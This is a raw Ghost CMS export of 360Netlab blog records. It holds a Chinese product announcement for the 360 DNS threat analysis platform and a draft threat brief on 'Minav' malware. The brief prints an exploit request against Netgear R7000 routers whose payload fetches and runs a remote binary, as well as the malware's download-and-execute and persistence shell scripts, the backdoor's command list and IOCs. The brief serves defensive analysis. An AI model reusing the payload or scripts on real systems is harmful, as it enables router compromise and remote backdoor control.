商务咨询，联系 [email protected] | {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 360 DNS威胁分析平台\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/10/815AF727-176B-4452-BDF8-8A49B9D73094.png","cardWidth":""}],["markdown",{"markdown":"* **让情报发挥应有价值**"}],["image",{"src":"__GHOST_URL__/content/images/2021/10/360-DTA-investigate.gif"}],["image",{"src":"__GHOST_URL__/content/images/2021/10/image-28.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/10/image-27.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/10/image-40.png"}]],"markups":[["a",["href","https://passivedns.cn"]],["strong"],["a",["href","https://www.paloaltonetworks.com/resources/whitepapers/stop-attackers-from-using-dns-against-you"]],["a",["href","__GHOST_URL__/use-dns-data-produce-threat-intelligence/"]],["a",["href","https://dns.360.cn/"]],["a",["href","mailto:[email protected]","rel","noopener noreferrer"]]],"sections":[[1,"p",[[0,[],0," 360Netlab (360 网络安全研究院) 自2014年成立以来，大网安全分析相关技术一直是我们的核心研究方向，我们是最早在国内提出从数据维度做安全的团队 ，并将大数据技术、AI技术和威胁情报应用于大网安全研究工作中。过去7年多的安全研究，我们取得了非常多耀眼的成果：我们是 360 情报云最主要的情报供应团队之一，建立了国内首个也是最大的公开"],[0,[0],1,"PassiveDNS系统"],[0,[],0,"，以及多个业内领先的Whois、证书、IP、样本等基础数据系统。我们诸多研究成果被国内外媒体转载报道，并多次在国际顶级安全会议发表演讲。我们在全球范围内率先披露了2位数以上有影响力的僵尸网络，并获得 FBI 的致谢，发现并命名的Satori僵尸网络的作者被美国国土安全局抓获并判刑，还有诸多不方便公开的实例不一而足。"]]],[1,"p",[[0,[],0," 凡是过往，皆为序章。"]]],[1,"p",[[0,[],0," 虽然过去7年我们一直以安全研究的形象出现，但这两年我们开始主动尝试产品化的探索。 我们这么做不是为了KPI，而是渴望将我们在安全研究中积累的技术优势能够实实在在的应用到企业网络中，在更大维度内为客户网络安全直接贡献我们的力量，为客户的企业网络保驾护航。为了实现这个理想，我们从2019年开始研发 "],[0,[1],1,"360 DNS 威胁分析平台 (DTA)"],[0,[],0,"，经过2年多反复打磨，今天正式对外介绍这款产品，这是360Netlab推出的首款商业产品，也是承载部门理想的产品。这个产品的定位不是传统的“大而全”，而是希望在 DNS 威胁分析这一个点上做得足够深、足够精，真正能替用户发现安全问题，为用户提供一个全新维度的安全工具。"]]],[10,0],[1,"p",[[0,[],0," 企业在网络安全体系建设中存在一个普遍现象，虽然采购了很多安全设备，但始终对自己的网络安全缺乏信心，究其原因，我们认为一个重要因素是客户无法“看见”网络内究竟在发生什么，有没有真正高可疑的威胁，如果有威胁能否进行有效的分析。从安全专家的角度来看，及时发现威胁，并能对威胁进行有效的分析和处置，是企业安全体系建设中至关重要的一环。"],[0,[1],1,"360 DNS威胁分析平台 (DTA)"],[0,[],0," 的产品初衷就是帮助客户从数据的维度看见自己的网络（security visibility），对自己的安全体系重拾信心。360 DTA 实现这一目标的核心理念是，让情报发挥应有价值，让威胁分析真正有效。"]]],[10,1],[10,2],[1,"p",[[0,[],0," 威胁情报发展到今天已不再是一个新概念，很多安全厂商都建设了自己的 TIP，很多安全产品也都集成了威胁情报。但对于情报的应用，很多产品都有两个明显的缺陷。首先是机械的将威胁情报 IoC 视作黑名单，在流量中命中就告警。这会带来大量误报，并且产生的告警缺失上下文，用户既不明白报警的原因，也就不知道如何分析或者如何处置。另一个缺陷是目前主要的威胁情报源自云端，而真正来自企业本地独有数据、企业面对的真实威胁往往被忽视。大多产品的实现是命中某个 IoC 时，简单在 WEB 界面通过一个超链接跳转到云端 TIP 平台，但 TIP 上的情报信息是通用的，而客户本地的攻击是具体的，有针对性的，将情报和本地具体的请求行为，资产信息相结合来分析，才是对情报真正有价值的利用。DTA 不仅有360 安全大脑海量威胁情报的赋能，同时作为情报生产团队，我们对于情报的价值有深刻的理解，并将情报应用到威胁检测、威胁分析的每一个环节。"]]],[3,"ul",[[[0,[1],1,"让威胁分析真正有效"]]]],[1,"p",[[0,[],0," 很多时候安全产品不被信任的一个重要原因是安全设备是一个黑盒子，客户只能被动接收设备的告警，但无论是基于规则的告警，还是基于算法或情报的告警，都是基于通用场景设计的，不是为某个具体企业或某次具体攻击行为设计的。而企业面临的威胁错综复杂，通用场景设计的规则往往很难有效发现一些定向攻击、高级攻击。DTA 以安全分析专家的视角去设计威胁分析功能，用户既可以简单直接查看系统经过多重环节筛选后的有效告警，更可以主动在产品内深入分析自己企业网络的流量。而用户看似简单的每一步分析操作，背后都有 DTA 海量情报和强大数据处理引擎的支撑，帮助用户降低威胁分析门槛，定位真实网络攻击。"]]],[10,3],[1,"h3",[[0,[],0,"应用场景"]]],[1,"p",[[0,[],0," DTA 典型的应用场景是部署在客户企业内网，仅接入 DNS 流量就可以工作。通过分析内网 DNS 流量，检测内网潜伏的已知威胁、未知威胁和网络异常，精准定位失陷资产，并提供丰富的威胁线索和分析工具，帮助用户深入分析自己的网络流量，定位高级攻击行为。但客户企业规模不同，安全建设阶段不同，关心的问题也会不同。我们概括了 DTA 三个主要应用场景，以及在这些场景下能为客户提供的核心价值。"]]],[3,"ul",[[[0,[],0,"安全体系成熟的客户"]]]],[1,"p",[[0,[],0," 安全体系建设成熟的客户，往往面对的攻击也更加复杂，例如 0-day 攻击、定向攻击、APT 攻击，这类攻击最难于检测却最具威胁。 DTA 的未知威胁检测能力、深入威胁分析能力，可以帮助客户及时识别这类高级威胁，快速进行处置。基于 DNS 流量的未知威胁检测一直是我们 360Netlab 的一个核心研究方向，我们在这个领域有超过7年的研究，积累了大量知识、经验、数据和算法模型，将这些积累应用到 DTA 的未知威胁检测模型中，让 DTA 具备了优秀的未知威胁、高级威胁检测能力。再加上功能强大的威胁分析系统，让客户可以深入分析网络内每一次请求，定位真实的攻击行为。"]]],[3,"ul",[[[0,[],0,"安全建设初期的客户"]]]],[1,"p",[[0,[],0," 对于安全建设初期的客户，通常更关心降本增效，希望以较低成本解决尽可能多的安全问题，覆盖尽可能多的资产。DTA 仅依赖 DNS 流量就可以工作，而 DNS \b流量有接入部署成本低、覆盖范围广的特点。企业内几乎所有联网设备都会发出DNS请求，而DNS流量仅占企业内网总流量的1‰ - 1%，但根据美国安全厂商"],[0,[2],1,"Palo Alto Networks 的研究"],[0,[],0,"，超过80%的恶意软件在和 C2 通信阶段会使用 DNS 协议，因此基于 DNS流量的威胁检测是一个简单又行之有效的方式。再加上 360 作为国内最大的网络安全公司，在安全数据、云端情报建设上有遥遥领先的优势， 有了360安全大脑的赋能，客户通过部署 DTA，可以较低成本快速建立起基础的安全运营能力。"]]],[3,"ul",[[[0,[],0,"大流量监管"]]]],[1,"p",[[0,[],0," 对于城市安全运营部门或行业监管部门，有城市出口流量或行业流量监管的需求。这类场景通常会面临两个巨大的挑战，首先是流量异常复杂，真实威胁流量混杂在绝大多数正常的流量中，很难准确识别。另一个挑战是这类场景通常数据量巨大，对系统的处理性能和分析能力是非常大的考验，协议层越往上，分析难度越大，容易造成一个常见的困境：虽有海量数据，但无从下手，有价值数据被淹没。DTA 在大流量威胁分析方面经验丰富，我们 360Netlab 运营多年的"],[0,[3],1,"DNSMon 系统"],[0,[],0,"每日对千亿级别的大网 DNS 流量进行分析，在无任何先验知识的情况下，每日输出数千条高风险恶意域名，并通过"],[0,[4],1,"360 安全DNS"],[0,[],0,"为国内约2000万用户提供安全解析服务。此外 DTA 整体采用分布式系统设计，所有模块均可根据流量大小水平扩展，并能根据客户基础设施不同，运行于私有云、公有云、容器云平台，可有效支持大流量监管的场景。"]]],[1,"h3",[[0,[],0,"三大创新"]]],[1,"p",[[0,[],0," 长久以来，很多安全设备一直因为大量漏报、误报，被广受诟病。每天动辄数千、数万的报警，让安全运营人员疲于奔命，真实威胁隐藏在大量误报中无法被有效聚焦。而大安全时代，攻击手段越来越高级，企业面对的安全威胁越来越复杂，对于高级威胁、未知威胁检测机制存在严重不足。"]]],[10,4],[1,"p",[[0,[],0," 我们对这款产品的自信，源自我们通过一些技术创新，优化了一些其它产品没有很好解决的问题。这些创新具体体现在未知威胁检测、精准告警、高效威胁分析三个方面。"]]],[10,5],[1,"h3",[[0,[],0,"核心功能 "]]],[10,6],[3,"ul",[[[0,[1],1,"威胁检测"]]]],[1,"p",[[0,[],0," 通过高质量情报和多个创新检测模型，检测内网的已知威胁、未知威胁和网络异常，精准定位失陷资产。其中未知威胁检测是 DTA 的亮点功能，可以帮助用户及时发现高级威胁，快速进行处置。"]]],[3,"ul",[[[0,[],0,"威胁分析"]]]],[1,"p",[[0,[],0," 安全专家设计的威胁研判、威胁分析系统，将企业 DNS 流量掰开了、揉碎了进行重新组合、标注、并将本地数据与云端情报深度融合，让用户可以主动在 DTA 产品内深入分析自己企业网络的流量，定位真实攻击行为。"]]],[3,"ul",[[[0,[],0,"可视化"]]]],[1,"p",[[0,[],0," 客户流量接入 DTA 后，系统自动对流量进行建模，通过可视化方式，为企业的网络建立全局视野。并通过特征和行为分析算法，自动识别数字资产，在不需要人工维护的情况下实现数字资产和风险可视化。"]]],[1,"h3",[[0,[],0,"初露锋芒"]]],[1,"p",[[0,[],0," 过去一年多时间，DTA 一直作为 360 自身安全运营的一部分，在 360 企业内网试运行，\b在实战中不断打磨自己，也在实战中开始展露自己，并成功发现了多起真实威胁。360 作为国内安全建设最为健全的公司之一，如果 DTA 能发现多起真实威胁，相信部署到我们的客户网络后，同样能帮助我们的客户提升安全运营能力，加强纵深防御深度。作为一款新产品，DTA 已经展现出了一些亮点，但离我们的目标还有很大距离，期待和我们的客户一起，以客户的真实需求、面对的真实威胁为指引，共同将DTA 打造成一款更加优秀成熟的安全产品。"]]],[1,"p",[[0,[],0,"商务咨询，联系 "],[0,[5],1,"[email protected]"]]]],"ghostVersion":"3.0"} | 6168ed373819e500076354b0 |
post | null | 2021-10-19T09:18:16.000Z | 63873b9a8b1c1e0007f52fe9 | qcss-kuai-xun | 0 | 2021-12-22T04:49:20.000Z | public | draft | null | null | Minav 威胁快讯 | <!--kg-card-begin: markdown--><h1 id="exploit">Exploit</h1>
<ul>
<li>
<p>攻击目标:是网件路由器，Netgear_R7000。</p>
</li>
<li>
<p>攻击载荷:</p>
</li>
</ul>
<pre><code>POST /upgrade_check.cgi HTTP/1.1
Host: xxxxxxxx
Content-Disposition: AAAA
Content-Length: 1575
Content-Type: application/octet-stream
name="mtenFWUpload"
*#$^....AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEE....wget -q --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -O /tmp/zone || curl -k hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -o /tmp/zone && chmod +x /tmp/zone && /tmp/zonewget -q --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -O /tmp/zone || curl -k hxxps://minavgmax.dynamic-dns.net/static/zone.arm -o /tmp/zone && chmod +x /tmp/zone && /tmp/zone.ZZZZZZZZ
</code></pre>
<h1 id="bash">Bash</h1>
<p>虽然从攻击pyload上看，落地样本是ELF文件，但是从同源地址下载到了用来部署ELF的脚本文件。</p>
<pre><code>hxxps://minavgmax.dynamic-dns.net/static/deploy.sh
hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh
hxxps://minavgmax.dynamic-dns.net/static/zonesetup.sh
</code></pre>
<p>文件内容是简单的下载执行。</p>
<ul>
<li>deploy.sh</li>
</ul>
<pre><code>wait=`wget -q -O /tmp/zon --no-check-certificate hxxps://sinaiot.dns05.com/static/zone.$HOSTTYPE`
chmod +x /tmp/zon
/tmp/zon >/dev/null &
</code></pre>
<ul>
<li>zonesetup.sh</li>
</ul>
<pre><code>#!/bin/sh
sh=`head /dev/urandom | tr -dc A-Za-z0-9`
f=`echo $sh | cut -c 3-9`
wait=`wget -q -t 1 -T 8 --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh -O /tmp/$f`
chmod +x /tmp/$f
/tmp/$f
</code></pre>
<ul>
<li>zoneController.sh</li>
</ul>
<pre><code>#!/bin/sh
while true
do
bin=`ps ax|grep -v grep|grep /tmp/apached`
if [ -z "$bin" ]; then
wait=`wget -q -t 1 -T 8 -O /tmp/apached hxxps://sinaiot.dns05.com/static/zone.$HOSTTYPE --no-check-certificate`
chmod +x /tmp/apached
/tmp/apached >/dev/null &
fi
sleep 6000
done
</code></pre>
<h1 id="elfmalware">ELF Malware</h1>
<ul>
<li>文件类型：Go语言开发，UPX加壳，支持 ARM, x86, x64。</li>
</ul>
<p><img src="__GHOST_URL__/content/images/2021/10/image-39.png" alt="image-39" loading="lazy"></p>
<ul>
<li>
<p>样本分类：</p>
<p>分析代码可以初步判定为一个Go语言实现的简单后门。支持的功能有限制，样本仍然在快速迭代开发中。<br>
<img src="__GHOST_URL__/content/images/2021/10/functions.png" alt="functions" loading="lazy"></p>
</li>
<li>
<p>通信方式：</p>
<ol>
<li>tls加密，CC协议格式是JSON。</li>
</ol>
<p><img src="__GHOST_URL__/content/images/2021/10/pcap.png" alt="pcap" loading="lazy"></p>
<ol start="2">
<li>上线包格式</li>
</ol>
<pre><code>{"flags":"LX","localip":"192.168.68.112","mac":"000111111111","version":"1.0.0"}
</code></pre>
</li>
<li>
<p>基本功能分析：</p>
<p>通过分析主函功能逻辑可知样本目前的主要功能大致如下：</p>
</li>
</ul>
<p>早期样本(1.0.0)：</p>
<pre><code>0x5 创建交互bash
0x8 可能是关闭交互bash
0x9 创建后台进程
0x10 执行bash命令
0xf 下载文件
0x12/0x13 可能是检索文件名
0x14 遍历目录
0x16 退出
0x19 收集主机配置信息
</code></pre>
<p>近期更新情况(1.1.8):</p>
<pre><code>0x1. 汇报进程状态
0x2. (无实际含义)
0x4. 交互式 bash
0x5/0x7 辅助转发交互式Bash 的输入输出
0x8 以后台任务的形式执行 Bash 命令
0x9 直接执行一条 bash 命令
0xE. 协程形式运行一个可执行文件
0x11/0x12 检查文件状态
0x15. 退出控制
0x17 收集主机信息(CPU利用率，内存大小，等)
</code></pre>
<ul>
<li>资源解密还原</li>
</ul>
<p>在样本的 qingchangshengshou.com.wuchang.zone.init 函数中，有一系列 AES 加密后的密文字串，解密算法大致如下图所示：</p>
<p><img src="__GHOST_URL__/content/images/2021/12/WX20211221-202823.png" alt="WX20211221-202823" loading="lazy"></p>
<p>将所有密文内容还原后，内容如下：</p>
<pre><code>0 sthwrt.ns01.us
1 uptime
2 days,
3 mac
4 flags
5 version
6 ip
7 /bin/bash
8 /bin/sh
9 /usr/bin/bash
10 /usr/bin/sh
11 segment
12 connected
13 df | grep /$ | awk '{print $(NF-1)}'
14 disk
15 mem
16 cpu
</code></pre>
<p>其中 <code>sthwrt.ns01.us</code> 为 CC 域名，<code>df | grep /$ | awk '{print $(NF-1)}'</code> 为查询磁盘使用率时用到的命令。</p>
<h1 id="iocs">IOCs</h1>
<pre><code># download URL
hxxps://minavgmax.dynamic-dns.net/static/deploy.sh
hxxps://minavgmax.dynamic-dns.net/static/test
hxxps://minavgmax.dynamic-dns.net/static/zone.
hxxps://minavgmax.dynamic-dns.net/static/zone.aarch64
hxxps://minavgmax.dynamic-dns.net/static/zone.arm
hxxps://minavgmax.dynamic-dns.net/static/zone.arm4
hxxps://minavgmax.dynamic-dns.net/static/zone.arm4n
hxxps://minavgmax.dynamic-dns.net/static/zone.arm5
hxxps://minavgmax.dynamic-dns.net/static/zone.arm5n
hxxps://minavgmax.dynamic-dns.net/static/zone.arm6
hxxps://minavgmax.dynamic-dns.net/static/zone.arm6n
hxxps://minavgmax.dynamic-dns.net/static/zone.arm7
hxxps://minavgmax.dynamic-dns.net/static/zone.arm7n
hxxps://minavgmax.dynamic-dns.net/static/zone.armv5l
hxxps://minavgmax.dynamic-dns.net/static/zone.armv6l
hxxps://minavgmax.dynamic-dns.net/static/zone.armv7l
hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh
hxxps://minavgmax.dynamic-dns.net/static/.zoneController.sh.swp
hxxps://minavgmax.dynamic-dns.net/static/zonedelete.sh
hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE
hxxps://minavgmax.dynamic-dns.net/static/zone.i386
hxxps://minavgmax.dynamic-dns.net/static/zone.i486
hxxps://minavgmax.dynamic-dns.net/static/zone.i686
hxxps://minavgmax.dynamic-dns.net/static/zonesetup.sh
hxxps://minavgmax.dynamic-dns.net/static/zone.x64
hxxps://minavgmax.dynamic-dns.net/static/zone.x86
hxxps://minavgmax.dynamic-dns.net/static/zone.x86_64
hxxps://minavgmax.dynamic-dns.net/static/zone.x86-64
hxxps://minavgmax.dynamic-dns.net/static/zone.x86_bk
hxxps://sinaiot.dns05.com/static/*
hxxps://139.180.185.238/static/*
# md5
b52f349561344456505142fb18a9148
8dc537e7ed8426e7cef506757d9e5ce2
20ce42910f909774e39f44f405f6a6d6
84d59d96d682c06f5161f02d3a26297d
1302d1fe28f49160cb5681bdf02cc3f2
b09b23c72cfd26bd137af4645292a86b
b097f66632fcd9da0985256439c650e1
cfa031b737d185c385e40b3db0e13f66
f13add3a99ac3112704e10ce97c48430
f60cd6afa023fcc5559175cfc1c9c6b9
a23bea2d3f1cf4ea0ba32d883c8c6ca1
# c2
sthwrt.ns01.us 80
sinaiot.dns05.com 27815
minavgmax.dynamic-dns.net 27815
</code></pre>
<!--kg-card-end: markdown--> | Exploit
*
攻击目标:是网件路由器，Netgear_R7000。
*
攻击载荷:
POST /upgrade_check.cgi HTTP/1.1
Host: xxxxxxxx
Content-Disposition: AAAA
Content-Length: 1575
Content-Type: application/octet-stream
name="mtenFWUpload"
*#$^....AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEE....wget -q --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -O /tmp/zone || curl -k hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -o /tmp/zone && chmod +x /tmp/zone && /tmp/zonewget -q --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -O /tmp/zone || curl -k hxxps://minavgmax.dynamic-dns.net/static/zone.arm -o /tmp/zone && chmod +x /tmp/zone && /tmp/zone.ZZZZZZZZ
Bash
虽然从攻击pyload上看，落地样本是ELF文件，但是从同源地址下载到了用来部署ELF的脚本文件。
hxxps://minavgmax.dynamic-dns.net/static/deploy.sh
hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh
hxxps://minavgmax.dynamic-dns.net/static/zonesetup.sh
文件内容是简单的下载执行。
* deploy.sh
wait=`wget -q -O /tmp/zon --no-check-certificate hxxps://sinaiot.dns05.com/static/zone.$HOSTTYPE`
chmod +x /tmp/zon
/tmp/zon >/dev/null &
* zonesetup.sh
#!/bin/sh
sh=`head /dev/urandom | tr -dc A-Za-z0-9`
f=`echo $sh | cut -c 3-9`
wait=`wget -q -t 1 -T 8 --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh -O /tmp/$f`
chmod +x /tmp/$f
/tmp/$f
* zoneController.sh
#!/bin/sh
while true
do
bin=`ps ax|grep -v grep|grep /tmp/apached`
if [ -z "$bin" ]; then
wait=`wget -q -t 1 -T 8 -O /tmp/apached hxxps://sinaiot.dns05.com/static/zone.$HOSTTYPE --no-check-certificate`
chmod +x /tmp/apached
/tmp/apached >/dev/null &
fi
sleep 6000
done
ELF Malware
* 文件类型：Go语言开发，UPX加壳，支持 ARM, x86, x64。
*
样本分类：
分析代码可以初步判定为一个Go语言实现的简单后门。支持的功能有限制，样本仍然在快速迭代开发中。
*
通信方式：
1. tls加密，CC协议格式是JSON。
2. 上线包格式
{"flags":"LX","localip":"192.168.68.112","mac":"000111111111","version":"1.0.0"}
*
基本功能分析：
通过分析主函功能逻辑可知样本目前的主要功能大致如下：
早期样本(1.0.0)：
0x5 创建交互bash
0x8 可能是关闭交互bash
0x9 创建后台进程
0x10 执行bash命令
0xf 下载文件
0x12/0x13 可能是检索文件名
0x14 遍历目录
0x16 退出
0x19 收集主机配置信息
近期更新情况(1.1.8):
0x1. 汇报进程状态
0x2. (无实际含义)
0x4. 交互式 bash
0x5/0x7 辅助转发交互式Bash 的输入输出
0x8 以后台任务的形式执行 Bash 命令
0x9 直接执行一条 bash 命令
0xE. 协程形式运行一个可执行文件
0x11/0x12 检查文件状态
0x15. 退出控制
0x17 收集主机信息(CPU利用率，内存大小，等)
* 资源解密还原
在样本的 qingchangshengshou.com.wuchang.zone.init 函数中，有一系列 AES 加密后的密文字串，解密算法大致如下图所示：
将所有密文内容还原后，内容如下：
0 sthwrt.ns01.us
1 uptime
2 days,
3 mac
4 flags
5 version
6 ip
7 /bin/bash
8 /bin/sh
9 /usr/bin/bash
10 /usr/bin/sh
11 segment
12 connected
13 df | grep /$ | awk '{print $(NF-1)}'
14 disk
15 mem
16 cpu
其中 sthwrt.ns01.us 为 CC 域名，df | grep /$ | awk '{print $(NF-1)}' 为查询磁盘使用率时用到的命令。
IOCs
# download URL
hxxps://minavgmax.dynamic-dns.net/static/deploy.sh
hxxps://minavgmax.dynamic-dns.net/static/test
hxxps://minavgmax.dynamic-dns.net/static/zone.
hxxps://minavgmax.dynamic-dns.net/static/zone.aarch64
hxxps://minavgmax.dynamic-dns.net/static/zone.arm
hxxps://minavgmax.dynamic-dns.net/static/zone.arm4
hxxps://minavgmax.dynamic-dns.net/static/zone.arm4n
hxxps://minavgmax.dynamic-dns.net/static/zone.arm5
hxxps://minavgmax.dynamic-dns.net/static/zone.arm5n
hxxps://minavgmax.dynamic-dns.net/static/zone.arm6
hxxps://minavgmax.dynamic-dns.net/static/zone.arm6n
hxxps://minavgmax.dynamic-dns.net/static/zone.arm7
hxxps://minavgmax.dynamic-dns.net/static/zone.arm7n
hxxps://minavgmax.dynamic-dns.net/static/zone.armv5l
hxxps://minavgmax.dynamic-dns.net/static/zone.armv6l
hxxps://minavgmax.dynamic-dns.net/static/zone.armv7l
hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh
hxxps://minavgmax.dynamic-dns.net/static/.zoneController.sh.swp
hxxps://minavgmax.dynamic-dns.net/static/zonedelete.sh
hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE
hxxps://minavgmax.dynamic-dns.net/static/zone.i386
hxxps://minavgmax.dynamic-dns.net/static/zone.i486
hxxps://minavgmax.dynamic-dns.net/static/zone.i686
hxxps://minavgmax.dynamic-dns.net/static/zonesetup.sh
hxxps://minavgmax.dynamic-dns.net/static/zone.x64
hxxps://minavgmax.dynamic-dns.net/static/zone.x86
hxxps://minavgmax.dynamic-dns.net/static/zone.x86_64
hxxps://minavgmax.dynamic-dns.net/static/zone.x86-64
hxxps://minavgmax.dynamic-dns.net/static/zone.x86_bk
hxxps://sinaiot.dns05.com/static/*
hxxps://139.180.185.238/static/*
# md5
b52f349561344456505142fb18a9148
8dc537e7ed8426e7cef506757d9e5ce2
20ce42910f909774e39f44f405f6a6d6
84d59d96d682c06f5161f02d3a26297d
1302d1fe28f49160cb5681bdf02cc3f2
b09b23c72cfd26bd137af4645292a86b
b097f66632fcd9da0985256439c650e1
cfa031b737d185c385e40b3db0e13f66
f13add3a99ac3112704e10ce97c48430
f60cd6afa023fcc5559175cfc1c9c6b9
a23bea2d3f1cf4ea0ba32d883c8c6ca1
# c2
sthwrt.ns01.us 80
sinaiot.dns05.com 27815
minavgmax.dynamic-dns.net 27815
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# Exploit\n\n* 攻击目标:是网件路由器，Netgear_R7000。\n\n* 攻击载荷:\n```\nPOST /upgrade_check.cgi HTTP/1.1\nHost: xxxxxxxx\nContent-Disposition: AAAA\nContent-Length: 1575\nContent-Type: application/octet-stream\nname=\"mtenFWUpload\"\n\n*#$^....AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEE....wget -q --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -O /tmp/zone || curl -k hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -o /tmp/zone && chmod +x /tmp/zone && /tmp/zonewget -q --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -O /tmp/zone || curl -k hxxps://minavgmax.dynamic-dns.net/static/zone.arm -o /tmp/zone && chmod +x /tmp/zone && /tmp/zone.ZZZZZZZZ\n```\n\n# Bash\n\n虽然从攻击pyload上看，落地样本是ELF文件，但是从同源地址下载到了用来部署ELF的脚本文件。\n\n```\nhxxps://minavgmax.dynamic-dns.net/static/deploy.sh\nhxxps://minavgmax.dynamic-dns.net/static/zoneController.sh \nhxxps://minavgmax.dynamic-dns.net/static/zonesetup.sh\n```\n\n文件内容是简单的下载执行。\n\n* deploy.sh\n\n```\nwait=`wget -q -O /tmp/zon --no-check-certificate hxxps://sinaiot.dns05.com/static/zone.$HOSTTYPE`\nchmod +x /tmp/zon\n/tmp/zon >/dev/null &\n```\n\n* zonesetup.sh\n\n```\n#!/bin/sh\nsh=`head /dev/urandom | tr -dc A-Za-z0-9`\nf=`echo $sh | cut -c 3-9`\nwait=`wget -q -t 1 -T 8 --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh -O /tmp/$f`\nchmod +x /tmp/$f\n/tmp/$f\n```\n\n* zoneController.sh\n\n```\n#!/bin/sh\nwhile true\ndo\n bin=`ps ax|grep -v grep|grep /tmp/apached`\n if [ -z \"$bin\" ]; then\n wait=`wget -q -t 1 -T 8 -O /tmp/apached hxxps://sinaiot.dns05.com/static/zone.$HOSTTYPE --no-check-certificate`\n chmod +x /tmp/apached\n /tmp/apached >/dev/null &\n fi\n sleep 6000\ndone\n\n```\n\n\n# ELF Malware\n\n* 文件类型：Go语言开发，UPX加壳，支持 ARM, x86, x64。\n\n\n\n* 样本分类：\n \n 分析代码可以初步判定为一个Go语言实现的简单后门。支持的功能有限制，样本仍然在快速迭代开发中。\n \n \n\n* 通信方式：\n \n 1. tls加密，CC协议格式是JSON。\n \n \n \n 2. 上线包格式 \n ```\n {\"flags\":\"LX\",\"localip\":\"192.168.68.112\",\"mac\":\"000111111111\",\"version\":\"1.0.0\"}\n ```\n\n\n* 基本功能分析：\n\n 通过分析主函功能逻辑可知样本目前的主要功能大致如下：\n\n早期样本(1.0.0)：\n```\n0x5 创建交互bash \n0x8 可能是关闭交互bash \n0x9 创建后台进程 \n0x10 执行bash命令 \n0xf 下载文件 \n0x12/0x13 可能是检索文件名 \n0x14 遍历目录 \n0x16 退出 \n0x19 收集主机配置信息 \n```\n\n近期更新情况(1.1.8):\n\n```\n0x1. 汇报进程状态\n0x2. (无实际含义)\n0x4. 交互式 bash\n0x5/0x7 辅助转发交互式Bash 的输入输出 \n0x8 以后台任务的形式执行 Bash 命令\n0x9 直接执行一条 bash 命令\n0xE. 协程形式运行一个可执行文件\n0x11/0x12 检查文件状态\n0x15. 退出控制\n0x17 收集主机信息(CPU利用率，内存大小，等)\n```\n\n* 资源解密还原\n\n在样本的 qingchangshengshou.com.wuchang.zone.init 函数中，有一系列 AES 加密后的密文字串，解密算法大致如下图所示：\n\n\n\n将所有密文内容还原后，内容如下：\n\n```\n0 sthwrt.ns01.us\n1 uptime\n2 days,\n3 mac\n4 flags\n5 version\n6 ip\n7 /bin/bash\n8 /bin/sh\n9 /usr/bin/bash\n10 /usr/bin/sh\n11 segment\n12 connected\n13 df | grep /$ | awk '{print $(NF-1)}'\n14 disk\n15 mem\n16 cpu\n```\n\n其中 `sthwrt.ns01.us` 为 CC 域名，`df | grep /$ | awk '{print $(NF-1)}'` 为查询磁盘使用率时用到的命令。\n\n# IOCs\n```\n# download URL\nhxxps://minavgmax.dynamic-dns.net/static/deploy.sh\nhxxps://minavgmax.dynamic-dns.net/static/test\nhxxps://minavgmax.dynamic-dns.net/static/zone.\nhxxps://minavgmax.dynamic-dns.net/static/zone.aarch64\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm4\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm4n\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm5\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm5n\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm6\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm6n\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm7\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm7n\nhxxps://minavgmax.dynamic-dns.net/static/zone.armv5l\nhxxps://minavgmax.dynamic-dns.net/static/zone.armv6l\nhxxps://minavgmax.dynamic-dns.net/static/zone.armv7l\nhxxps://minavgmax.dynamic-dns.net/static/zoneController.sh\nhxxps://minavgmax.dynamic-dns.net/static/.zoneController.sh.swp\nhxxps://minavgmax.dynamic-dns.net/static/zonedelete.sh\nhxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE\nhxxps://minavgmax.dynamic-dns.net/static/zone.i386\nhxxps://minavgmax.dynamic-dns.net/static/zone.i486\nhxxps://minavgmax.dynamic-dns.net/static/zone.i686\nhxxps://minavgmax.dynamic-dns.net/static/zonesetup.sh\nhxxps://minavgmax.dynamic-dns.net/static/zone.x64\nhxxps://minavgmax.dynamic-dns.net/static/zone.x86\nhx